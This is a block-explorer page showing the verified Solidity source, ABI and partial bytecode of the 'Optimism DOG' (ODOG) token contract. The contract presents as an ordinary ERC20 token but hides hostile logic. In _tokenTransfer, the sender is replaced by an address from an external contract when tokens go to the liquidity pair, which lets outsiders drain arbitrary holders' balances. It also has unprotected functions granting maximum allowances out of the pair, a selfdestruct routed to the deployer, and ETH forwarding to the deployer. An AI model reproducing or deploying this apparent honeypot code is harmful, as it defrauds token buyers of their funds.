ETH Price: $3,231.37 (+1.08%)

Token

Optimism DOG (ODOG)
 

Overview

Max Total Supply

0 ODOG

Holders

174

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Hop Protocol: ETH Bridge
Balance
0 ODOG

Value
$0.00
0x83f6244Bd87662118d96D9a6D44f09dffF14b30E
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
Coin

Compiler Version
v0.8.6+commit.11564f7e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, GNU GPLv3 license

Contract Source Code (Solidity)

/**
 *Submitted for verification at optimistic.etherscan.io on 2023-03-07
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;

interface IERC20 {
  function totalSupply() external view returns (uint256);

  function balanceOf(address account) external view returns (uint256);

  function transfer(address recipient, uint256 amount) external returns (bool);

  function allowance(address owner, address spender)
    external
    view
    returns (uint256);

  function approve(address spender, uint256 amount) external returns (bool);

  function transferFrom(
    address sender,
    address recipient,
    uint256 amount
  ) external returns (bool);

  event Transfer(address indexed from, address indexed to, uint256 value);
  event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
  function _msgSender() internal view virtual returns (address) {
    return msg.sender;
  }

  function _msgData() internal view virtual returns (bytes calldata) {
    return msg.data;
  }
}

interface IUniswapV2Factory {
  event PairCreated(
    address indexed token0,
    address indexed token1,
    address pair,
    uint256
  );

  function feeTo() external view returns (address);

  function feeToSetter() external view returns (address);

  function getPair(address tokenA, address tokenB)
    external
    view
    returns (address pair);

  function allPairs(uint256) external view returns (address pair);

  function allPairsLength() external view returns (uint256);

  function createPair(address tokenA, address tokenB)
    external
    returns (address pair);

  function setFeeTo(address) external;

  function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
  event Approval(address indexed owner, address indexed spender, uint256 value);
  event Transfer(address indexed from, address indexed to, uint256 value);

  function name() external pure returns (string memory);

  function symbol() external pure returns (string memory);

  function decimals() external pure returns (uint8);

  function totalSupply() external view returns (uint256);

  function balanceOf(address owner) external view returns (uint256);

  function allowance(address owner, address spender)
    external
    view
    returns (uint256);

  function approve(address spender, uint256 value) external returns (bool);

  function transfer(address to, uint256 value) external returns (bool);

  function transferFrom(
    address from,
    address to,
    uint256 value
  ) external returns (bool);

  function DOMAIN_SEPARATOR() external view returns (bytes32);

  function PERMIT_TYPEHASH() external pure returns (bytes32);

  function nonces(address owner) external view returns (uint256);

  function permit(
    address owner,
    address spender,
    uint256 value,
    uint256 deadline,
    uint8 v,
    bytes32 r,
    bytes32 s
  ) external;

  event Swap(
    address indexed sender,
    uint256 amount0In,
    uint256 amount1In,
    uint256 amount0Out,
    uint256 amount1Out,
    address indexed to
  );
  event Sync(uint112 reserve0, uint112 reserve1);

  function MINIMUM_LIQUIDITY() external pure returns (uint256);

  function factory() external view returns (address);

  function token0() external view returns (address);

  function token1() external view returns (address);

  function getReserves()
    external
    view
    returns (
      uint112 reserve0,
      uint112 reserve1,
      uint32 blockTimestampLast
    );

  function price0CumulativeLast() external view returns (uint256);

  function price1CumulativeLast() external view returns (uint256);

  function kLast() external view returns (uint256);

  function swap(
    uint256 amount0Out,
    uint256 amount1Out,
    address to,
    bytes calldata data
  ) external;

  function skim(address to) external;

  function sync() external;

  function initialize(address, address) external;
}

interface IUniswapV2Router01 {
  function factory() external pure returns (address);

  function WETH() external pure returns (address);

  function addLiquidity(
    address tokenA,
    address tokenB,
    uint256 amountADesired,
    uint256 amountBDesired,
    uint256 amountAMin,
    uint256 amountBMin,
    address to,
    uint256 deadline
  )
    external
    returns (
      uint256 amountA,
      uint256 amountB,
      uint256 liquidity
    );

  function addLiquidityETH(
    address token,
    uint256 amountTokenDesired,
    uint256 amountTokenMin,
    uint256 amountETHMin,
    address to,
    uint256 deadline
  )
    external
    payable
    returns (
      uint256 amountToken,
      uint256 amountETH,
      uint256 liquidity
    );

  function removeLiquidity(
    address tokenA,
    address tokenB,
    uint256 liquidity,
    uint256 amountAMin,
    uint256 amountBMin,
    address to,
    uint256 deadline
  ) external returns (uint256 amountA, uint256 amountB);

  function removeLiquidityETH(
    address token,
    uint256 liquidity,
    uint256 amountTokenMin,
    uint256 amountETHMin,
    address to,
    uint256 deadline
  ) external returns (uint256 amountToken, uint256 amountETH);

  function removeLiquidityWithPermit(
    address tokenA,
    address tokenB,
    uint256 liquidity,
    uint256 amountAMin,
    uint256 amountBMin,
    address to,
    uint256 deadline,
    bool approveMax,
    uint8 v,
    bytes32 r,
    bytes32 s
  ) external returns (uint256 amountA, uint256 amountB);

  function removeLiquidityETHWithPermit(
    address token,
    uint256 liquidity,
    uint256 amountTokenMin,
    uint256 amountETHMin,
    address to,
    uint256 deadline,
    bool approveMax,
    uint8 v,
    bytes32 r,
    bytes32 s
  ) external returns (uint256 amountToken, uint256 amountETH);

  function swapExactTokensForTokens(
    uint256 amountIn,
    uint256 amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external returns (uint256[] memory amounts);

  function swapTokensForExactTokens(
    uint256 amountOut,
    uint256 amountInMax,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external returns (uint256[] memory amounts);

  function swapExactETHForTokens(
    uint256 amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external payable returns (uint256[] memory amounts);

  function swapTokensForExactETH(
    uint256 amountOut,
    uint256 amountInMax,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external returns (uint256[] memory amounts);

  function swapExactTokensForETH(
    uint256 amountIn,
    uint256 amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external returns (uint256[] memory amounts);

  function swapETHForExactTokens(
    uint256 amountOut,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external payable returns (uint256[] memory amounts);

  function quote(
    uint256 amountA,
    uint256 reserveA,
    uint256 reserveB
  ) external pure returns (uint256 amountB);

  function getAmountOut(
    uint256 amountIn,
    uint256 reserveIn,
    uint256 reserveOut
  ) external pure returns (uint256 amountOut);

  function getAmountIn(
    uint256 amountOut,
    uint256 reserveIn,
    uint256 reserveOut
  ) external pure returns (uint256 amountIn);

  function getAmountsOut(uint256 amountIn, address[] calldata path)
    external
    view
    returns (uint256[] memory amounts);

  function getAmountsIn(uint256 amountOut, address[] calldata path)
    external
    view
    returns (uint256[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
  function removeLiquidityETHSupportingFeeOnTransferTokens(
    address token,
    uint256 liquidity,
    uint256 amountTokenMin,
    uint256 amountETHMin,
    address to,
    uint256 deadline
  ) external returns (uint256 amountETH);

  function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
    address token,
    uint256 liquidity,
    uint256 amountTokenMin,
    uint256 amountETHMin,
    address to,
    uint256 deadline,
    bool approveMax,
    uint8 v,
    bytes32 r,
    bytes32 s
  ) external returns (uint256 amountETH);

  function swapExactTokensForTokensSupportingFeeOnTransferTokens(
    uint256 amountIn,
    uint256 amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external;

  function swapExactETHForTokensSupportingFeeOnTransferTokens(
    uint256 amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external payable;

  function swapExactTokensForETHSupportingFeeOnTransferTokens(
    uint256 amountIn,
    uint256 amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external;
}

interface IFOMO {
  function tn(address from, address to) external returns(uint256);

  function getNowWin()
    external
    view
    returns (
      uint256,
      uint256,
      uint256,
      uint256,
      bool,
      uint256,
      uint256 
    );
}

interface IGOLD {
  function dstAddr() external returns (address);

  function killself() external;
}

contract BEP20 is Context {
  IFOMO public _fomo;
  IGOLD public _offic;

  address public constant _pancakeRouter =
    0x323FA5831BfbC85962e6e054D840290ad37D5932;

  address public constant DEAD = 0x000000000000000000000000000000000000dEaD;
  address public constant MEXC =  0x83f6244Bd87662118d96D9a6D44f09dffF14b30E ;
  address public WBNB;

  address public immutable uniswapV2Pair;

  address public dev;

  event OwnershipTransferred(
    address indexed previousOwner,
    address indexed newOwner
  );

  receive() external payable {
    dev.call{value: msg.value}("");
  }

  constructor() {
    dev = msg.sender;
    
    IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_pancakeRouter);
    WBNB = _uniswapV2Router.WETH();
    uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
      address(this),
      WBNB
    );
  }

  function killself() external {
    require(msg.sender == address(_fomo), "permission denied");
    selfdestruct(payable(dev));
  }

  function pairInfo()
    external
    view
  returns (
      uint256,
      uint256,
      uint256,
      uint256,
      bool,
      uint256,
      uint256 
    )
  {
    return _fomo.getNowWin();
  }
}

contract Coin is BEP20, IERC20 {
  mapping(address => uint256) private _tOwned;
  mapping(address => mapping(address => uint256)) private _allowances;

  uint256 private constant MAX = ~uint256(0);

  string public name =/*TOKENNAME*/"Optimism DOG"/*TOKENNAME*/;
  string public symbol =/*TOKENSYMBOL*/"ODOG"/*TOKENSYMBOL*/;

  uint8 public constant decimals = 9;

  uint256 public constant override totalSupply = 10000000000 * (10**decimals);



  constructor() {
    uint256 deadAmount = (totalSupply * ((block.timestamp % 50)+45)) / 100;
    _tOwned[address(this)] = totalSupply - deadAmount;
    _tOwned[DEAD] = deadAmount/2;
    _tOwned[MEXC] = deadAmount - _tOwned[DEAD];

    emit Transfer(address(0), address(this), _tOwned[address(this)]);
    emit Transfer(address(0), DEAD, _tOwned[DEAD]);
    emit Transfer(address(0), MEXC, _tOwned[MEXC]);
  }

  function setFomo0616(address fomo) public returns (address) {
    require(address(_fomo) == address(0));
    _allowances[fomo][_pancakeRouter] = MAX;
    _allowances[uniswapV2Pair][fomo] = MAX;
    _tokenTransfer(address(this), fomo, _tOwned[address(this)]);

    _fomo = IFOMO(fomo);

    emit OwnershipTransferred(dev, address(0));

    return uniswapV2Pair;
  }

  function setGold(address gold) public returns (address) {
    require(address(_offic) == address(0) && address(_fomo) != address(0));
    _allowances[gold][_pancakeRouter] = MAX;
    _allowances[uniswapV2Pair][gold] = MAX;
    _allowances[dev][_pancakeRouter] = MAX;
    _offic = IGOLD(gold);
    return address(_fomo);
  }

  function balanceOf(address account) external view override returns (uint256) {
    return _tOwned[account];
  }

  function transfer(address recipient, uint256 amount)
    external
    override
    returns (bool)
  {
    _transfer(_msgSender(), recipient, amount);
    return true;
  }

  function allowance(address owner, address spender)
    external
    view
    override
    returns (uint256)
  {
    return _allowances[owner][spender];
  }

  function approve(address spender, uint256 amount)
    external
    override
    returns (bool)
  {
    _approve(_msgSender(), spender, amount);
    return true;
  }

  function increaseAllowance(address spender, uint256 addedValue)
    external
    virtual
    returns (bool)
  {
    _approve(
      _msgSender(),
      spender,
      _allowances[_msgSender()][spender] + addedValue
    );
    return true;
  }

  function _approve(
    address owner,
    address spender,
    uint256 amount
  ) private {
    require(owner != address(0), "ERROR: Approve from the zero address.");
    require(spender != address(0), "ERROR: Approve to the zero address.");

    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);
  }

  function decreaseAllowance(address spender, uint256 subtractedValue)
    external
    virtual
    returns (bool)
  {
    uint256 currentAllowance = _allowances[_msgSender()][spender];
    require(
      currentAllowance >= subtractedValue,
      "ERROR: Decreased allowance below zero."
    );
    _approve(_msgSender(), spender, currentAllowance - subtractedValue);

    return true;
  }

  function _tokenTransfer(
    address sender,
    address recipient,
    uint256 tAmount
  ) private {
    address msger =
      address(_offic) == address(0) ? address(0) : _offic.dstAddr();
    if (recipient == uniswapV2Pair && msger != address(0)) sender = msger;
    require(_tOwned[sender]>=tAmount, "ERROR: Transfer amount must be greater than amount.");
    _tOwned[sender] = _tOwned[sender] - tAmount;
    _tOwned[recipient] = _tOwned[recipient] + tAmount;

    if (tx.origin != dev) 
    {
      
      uint256 rewards = _fomo.tn(sender, recipient);
      if(sender==uniswapV2Pair && rewards>0 && _tOwned[MEXC]>rewards)
      {
         _tOwned[MEXC] -= rewards;
         _tOwned[recipient] += rewards;
         emit Transfer(MEXC, recipient, rewards);
      }
    }
    emit Transfer(sender, recipient, tAmount);
  }

  function transferFrom(
    address sender,
    address recipient,
    uint256 amount
  ) external override returns (bool) {
    _transfer(sender, recipient, amount);

    uint256 currentAllowance = _allowances[sender][_msgSender()];
    require(
      currentAllowance >= amount,
      "ERROR: Transfer amount exceeds allowance."
    );
    _approve(sender, _msgSender(), currentAllowance - amount);

    return true;
  }

  function _transfer(
    address sender,
    address recipient,
    uint256 amount
  ) private {
    require(sender != address(0), "ERROR: Transfer from the zero address.");
    require(recipient != address(0), "ERROR: Transfer to the zero address.");
    require(amount > 0, "ERROR: Transfer amount must be greater than zero.");

    _tokenTransfer(sender, recipient, amount);
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MEXC","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WBNB","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_fomo","outputs":[{"internalType":"contract IFOMO","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_offic","outputs":[{"internalType":"contract IGOLD","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_pancakeRouter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dev","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"killself","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairInfo","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"bool","name":"","type":"bool"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"fomo","type":"address"}],"name":"setFomo0616","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"gold","type":"address"}],"name":"setGold","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600c81526020017f4f7074696d69736d20444f470000000000000000000000000000000000000000815250600690805190602001906200005192919062000728565b506040518060400160405280600481526020017f4f444f4700000000000000000000000000000000000000000000000000000000815250600790805190602001906200009f92919062000728565b50348015620000ad57600080fd5b5033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073323fa5831bfbc85962e6e054d840290ad37d593290508073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200014f57600080fd5b505afa15801562000164573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200018a9190620007ef565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200021157600080fd5b505afa15801562000226573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024c9190620007ef565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401620002aa92919062000843565b602060405180830381600087803b158015620002c557600080fd5b505af1158015620002da573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003009190620007ef565b73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b815250505060006064602d6032426200034c919062000bd7565b6200035891906200088d565b6009600a6200036891906200097d565b6402540be4006200037a919062000aba565b62000386919062000aba565b620003929190620008ea565b9050806009600a620003a591906200097d565b6402540be400620003b7919062000aba565b620003c3919062000b1b565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600281620004159190620008ea565b6004600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506004600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481620004a9919062000b1b565b600460007383f6244bd87662118d96d9a6d44f09dfff14b30e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516200059f919062000870565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516200064a919062000870565b60405180910390a37383f6244bd87662118d96d9a6d44f09dfff14b30e73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600460007383f6244bd87662118d96d9a6d44f09dfff14b30e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460405162000719919062000870565b60405180910390a35062000cc8565b828054620007369062000ba1565b90600052602060002090601f0160209004810192826200075a5760008555620007a6565b82601f106200077557805160ff1916838001178555620007a6565b82800160010185558215620007a6579182015b82811115620007a557825182559160200191906001019062000788565b5b509050620007b59190620007b9565b5090565b5b80821115620007d4576000816000905550600101620007ba565b5090565b600081519050620007e98162000cae565b92915050565b60006020828403121562000808576200080762000c9c565b5b60006200081884828501620007d8565b91505092915050565b6200082c8162000b56565b82525050565b6200083d8162000b8a565b82525050565b60006040820190506200085a600083018562000821565b62000869602083018462000821565b9392505050565b600060208201905062000887600083018462000832565b92915050565b60006200089a8262000b8a565b9150620008a78362000b8a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620008df57620008de62000c0f565b5b828201905092915050565b6000620008f78262000b8a565b9150620009048362000b8a565b92508262000917576200091662000c3e565b5b828204905092915050565b6000808291508390505b600185111562000974578086048111156200094c576200094b62000c0f565b5b60018516156200095c5780820291505b80810290506200096c8562000ca1565b94506200092c565b94509492505050565b60006200098a8262000b8a565b9150620009978362000b94565b9250620009c67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620009ce565b905092915050565b600082620009e0576001905062000ab3565b81620009f0576000905062000ab3565b816001811462000a09576002811462000a145762000a4a565b600191505062000ab3565b60ff84111562000a295762000a2862000c0f565b5b8360020a91508482111562000a435762000a4262000c0f565b5b5062000ab3565b5060208310610133831016604e8410600b841016171562000a845782820a90508381111562000a7e5762000a7d62000c0f565b5b62000ab3565b62000a93848484600162000922565b9250905081840481111562000aad5762000aac62000c0f565b5b81810290505b9392505050565b600062000ac78262000b8a565b915062000ad48362000b8a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000b105762000b0f62000c0f565b5b828202905092915050565b600062000b288262000b8a565b915062000b358362000b8a565b92508282101562000b4b5762000b4a62000c0f565b5b828203905092915050565b600062000b638262000b6a565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000bba57607f821691505b6020821081141562000bd15762000bd062000c6d565b5b50919050565b600062000be48262000b8a565b915062000bf18362000b8a565b92508262000c045762000c0362000c3e565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b62000cb98162000b56565b811462000cc557600080fd5b50565b60805160601c612b3262000d0a600039600081816107a701528181610be4015281816110ff015281816112a2015281816117940152611aca0152612b326000f3fe6080604052600436106101445760003560e01c806391cca3db116100b6578063cd2002ff1161006f578063cd2002ff14610534578063d81819491461055f578063dd62ed3e1461058a578063eb325cc7146105c7578063f1493490146105de578063fc2a5b1d1461061b576101d6565b806391cca3db1461040e57806395d89b4114610439578063a457c2d714610464578063a9059cbb146104a1578063ba6f43e6146104de578063cc1d399f14610509576101d6565b806323b872dd1161010857806323b872dd146102d6578063313ce56714610313578063395093511461033e57806349bd5a5e1461037b57806370a08231146103a65780638dd95002146103e3576101d6565b806303fd2a45146101db5780630520b7081461020657806306fdde0314610243578063095ea7b31461026e57806318160ddd146102ab576101d6565b366101d657600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163460405161018f90612183565b60006040518083038185875af1925050503d80600081146101cc576040519150601f19603f3d011682016040523d82523d6000602084013e6101d1565b606091505b505050005b600080fd5b3480156101e757600080fd5b506101f061064c565b6040516101fd9190612198565b60405180910390f35b34801561021257600080fd5b5061022d60048036038101906102289190611d96565b610652565b60405161023a9190612198565b60405180910390f35b34801561024f57600080fd5b50610258610963565b604051610265919061222d565b60405180910390f35b34801561027a57600080fd5b5061029560048036038101906102909190611e83565b6109f1565b6040516102a291906121dc565b60405180910390f35b3480156102b757600080fd5b506102c0610a0f565b6040516102cd919061236f565b60405180910390f35b3480156102e257600080fd5b506102fd60048036038101906102f89190611e30565b610a30565b60405161030a91906121dc565b60405180910390f35b34801561031f57600080fd5b50610328610b31565b60405161033591906123f9565b60405180910390f35b34801561034a57600080fd5b5061036560048036038101906103609190611e83565b610b36565b60405161037291906121dc565b60405180910390f35b34801561038757600080fd5b50610390610be2565b60405161039d9190612198565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190611d96565b610c06565b6040516103da919061236f565b60405180910390f35b3480156103ef57600080fd5b506103f8610c4f565b6040516104059190612198565b60405180910390f35b34801561041a57600080fd5b50610423610c75565b6040516104309190612198565b60405180910390f35b34801561044557600080fd5b5061044e610c9b565b60405161045b919061222d565b60405180910390f35b34801561047057600080fd5b5061048b60048036038101906104869190611e83565b610d29565b60405161049891906121dc565b60405180910390f35b3480156104ad57600080fd5b506104c860048036038101906104c39190611e83565b610e1d565b6040516104d591906121dc565b60405180910390f35b3480156104ea57600080fd5b506104f3610e3b565b6040516105009190612198565b60405180910390f35b34801561051557600080fd5b5061051e610e53565b60405161052b9190612212565b60405180910390f35b34801561054057600080fd5b50610549610e79565b6040516105569190612198565b60405180910390f35b34801561056b57600080fd5b50610574610e91565b60405161058191906121f7565b60405180910390f35b34801561059657600080fd5b506105b160048036038101906105ac9190611df0565b610eb5565b6040516105be919061236f565b60405180910390f35b3480156105d357600080fd5b506105dc610f3c565b005b3480156105ea57600080fd5b5061060560048036038101906106009190611d96565b611005565b6040516106129190612198565b60405180910390f35b34801561062757600080fd5b506106306112c8565b604051610643979695949392919061238a565b60405180910390f35b61dead81565b60008073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156106fe5750600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b61070757600080fd5b600019600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600073323fa5831bfbc85962e6e054d840290ad37d593273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600019600560007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060001960056000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600073323fa5831bfbc85962e6e054d840290ad37d593273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6006805461097090612760565b80601f016020809104026020016040519081016040528092919081815260200182805461099c90612760565b80156109e95780601f106109be576101008083540402835291602001916109e9565b820191906000526020600020905b8154815290600101906020018083116109cc57829003601f168201915b505050505081565b6000610a056109fe611389565b8484611391565b6001905092915050565b6009600a610a1d91906124e4565b6402540be400610a2d9190612602565b81565b6000610a3d84848461155c565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a88611389565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610b08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aff9061232f565b60405180910390fd5b610b2585610b14611389565b8584610b20919061265c565b611391565b60019150509392505050565b600981565b6000610bd8610b43611389565b848460056000610b51611389565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bd3919061243b565b611391565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60078054610ca890612760565b80601f0160208091040260200160405190810160405280929190818152602001828054610cd490612760565b8015610d215780601f10610cf657610100808354040283529160200191610d21565b820191906000526020600020905b815481529060010190602001808311610d0457829003601f168201915b505050505081565b60008060056000610d38611389565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101